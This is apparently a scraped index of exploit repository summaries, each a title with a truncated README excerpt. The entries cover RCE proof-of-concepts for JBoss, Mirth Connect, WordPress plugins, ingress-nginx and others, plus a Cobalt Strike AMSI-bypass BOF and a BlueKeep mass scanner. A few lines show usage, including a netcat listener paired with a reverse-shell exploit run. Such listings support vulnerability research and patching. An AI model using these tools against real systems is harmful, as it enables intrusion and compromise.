CVE-2017-12149

CVE-2017-12149 Coded by 1337g Usage: CVE-2017-12149.py http://targetip:port/ JBOSS RCE I have no idea why it doesnot work with https...

CVE-2021-43936

CVE-2021-43936 CVE-2021-43936 is a critical vulnerability CVSS3 10.0 leading to Remote Code Execution RCE in WebHMI Firmware. This vulnerability works on versions 4.0 and the newest ones. Tested only on 4.0.7475. Vulnerability is used by script in the following steps: 1. Logs into the application...

IngressNightterror

IngressNightterror CVE-2025-1974 Overview This repository is my research on IngressNightmare vulnerability. It includes a vulnerable Ingress deploy files, exploit itself and shared object payload. CVE The list of CVE indexes: CVE-2025-1974 - Root vulnerability CVE-2025-24514 - auth-url annotation...

CVE-2025-49132-PoC

CVE-2025-49132 PoC by Pwndalf Overview This repository contains a Proof of Concept PoC for CVE-2025-49132, a Remote Code Execution RCE vulnerability affecting Pterodactyl Panel -l -p...

CVE-2026-82222

CVE-2026-82222 — GiveWP Author: Rx019 CVSS: 10.0 Critical Type: Unauthenticated PHP Object Injection → Remote Code Execution Plugin: GiveWP give — Donation Plugin and Fundraising Platform Affected: Patched: 4.16.8 Description GiveWP stores a donor's lastname in the PHP session without sanitizatio...

CVE-2023-43208

Mirth Connect RCE - CVE-2023-43208 Description PoC for Mirth Connect Remote Code Execution RCE Affects Mirth Connect Example Start listener nc -lvnp 4444 Run exploit ./exploit https://target.com 10.10.10.10 4444 References https://nvd.nist.gov/vuln/detail/CVE-2023-43208...

MAL-012

MAL-012: Reflected Cross-Site Scripting in Admin Console leading to Remote Code Execution in Payara Server A reflected Cross Site Scripting XSS attack was found in the Payara Admin Console. By convincing an admin user to access the malicious URL and click the “Choose File” button, an attacker can...

CVE-2022-47966

CVE-2022-47966 ManageEngine RCE 2022 This repo is part of the hgrab-framework Installation Install the app on the server user@domain: git clone https://github.com/sh4den/CVE-2022-47966.git user@domain: cd ./CVE-2022-47966/ user@domain: python3 main.py The list file must contain the targets server...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

Exploit Title: Unauthenticated Remote Code Execution RCE - Poultry Farm Management System v1.0 Date: 24-06-2024 CVE: CVE-2024-40110 EDB-ID: 52053 Exploit Author: Jerry Thomas w3bn00b3r Vendor Homepage: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html...

cve-2026-67363-67364

Balbooa Forms pre-auth RCE + Payment Tampering CVE-2026-67364 / CVE-2026-67363 PoC and detection templates for two pre-auth vulnerabilities in Balbooa Forms combaforms for Joomla, fixed in 2.4.3.2. CVE-2026-67364 — Pre-auth PHP Code Injection - RCE CVSS 9.8 CVE-2026-67363 — Pre-auth Payment Amoun...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 Quick Start 1. Deploy Vulnerable Stand cd Stand docker compose up --build The vulnerable app runs at: http://localhost:3011 2. Run the Safe PoC Scanner bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅ Expected PoC Output text...

CVE-2024-10124-Poc

CVE-2024-10124-Poc The Vayu Blocks – Gutenberg Blocks for WordPress & WooCommerce plugin for WordPress is vulnerable to unauthorized arbitrary plugin installation and activation due to a missing capability check on the tpinstall function in all versions up to, and including, 1.1.1. This makes it...

CVE-2024-50492

🚨 CVE-2024-50492 - ScottCart 🔥 Exploit Script for ScottCart 🧑‍💻 By Nxploit – Khaled Alenazi 📌 Description The ScottCart plugin for WordPress versions ≤ 1.1 is vulnerable to Remote Code Execution RCE. This allows unauthenticated attackers to execute arbitrary PHP functions on the server through a...

CVE-2025-28915

CVE-2025-28915 - WordPress ThemeEgg ToolKit Arbitrary File Upload Exploit 📌 Description An Unrestricted File Upload vulnerability in the ThemeEgg ToolKit plugin for WordPress versions ≤ 1.2.9 allows authenticated attackers to upload web shells to the server. This can lead to remote code execution...

CVE-2024-4577-PHP-CGI-RCE

This is a YAML file written specifically for the php-CGI RCE vulnerability - High Risk Introduction php-CGI is an interface used by web servers to run PHP scripts. It connects the PHP interpreter to the web server through CGI Common Gateway Interface. Vulnerability Cause PHP ignored the Best-Fit...

MAGNOLIA-8348

MAGNOLIA-8348: FreeMarker Restriction Bypass 3 in Magnolia CMS An issue in the FreeMarker Filter of Magnolia CMS v6.2.17 and below allows attackers to bypass security restrictions and execute arbitrary code, read/write/move/copy/delete arbitrary files or launch DoS attacks via a crafted FreeMarke...

CVE-2022-39073

CVE-2022-39073 Firmware details: wainnerversion: BDPOSTEMF286RMODULEV1.0.0B12 crversion: CRITPOSTEMF286RV1.0.0B10 Prerequisites requests pip install requests Command Injection The vulnerability is a shared command injection between the ztenetlinkdetect binary and the WATCHDOGSWITCH handler in the...

injectAmsiBypass

Cobalt Strike BOF - Inject AMSI Bypass Cobalt Strike Beacon Object File BOF that bypasses AMSI in a remote process with code injection. Running inject-amsiBypass BOF from CobaltStrike What does this do? 1. Use supplied PID argument to get a handle on the remote process hProc =...

CVE-2022-22980

SpEL RCE Exploit - CVE-2022-22980 Exploit for remote code execution RCE on Spring Data via SpEL injection Spring Expression Language. Descriptions Vulnerability The box exposes an endpoint /search that accepts a trackingid parameter vulnerable to SpEL injection. This injection allows the executio...

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit

Mass-scanner-for-CVE-2019-0708-RDP-RCE-Exploit This script is written to improve this PoC script https://github.com/zerosum0x0/CVE-2019-0708 rdesktop binary was taking too long to timeout so i want it to timeout quicker Multiple ip scan was not possible now you can scan a given ip list Example Ru...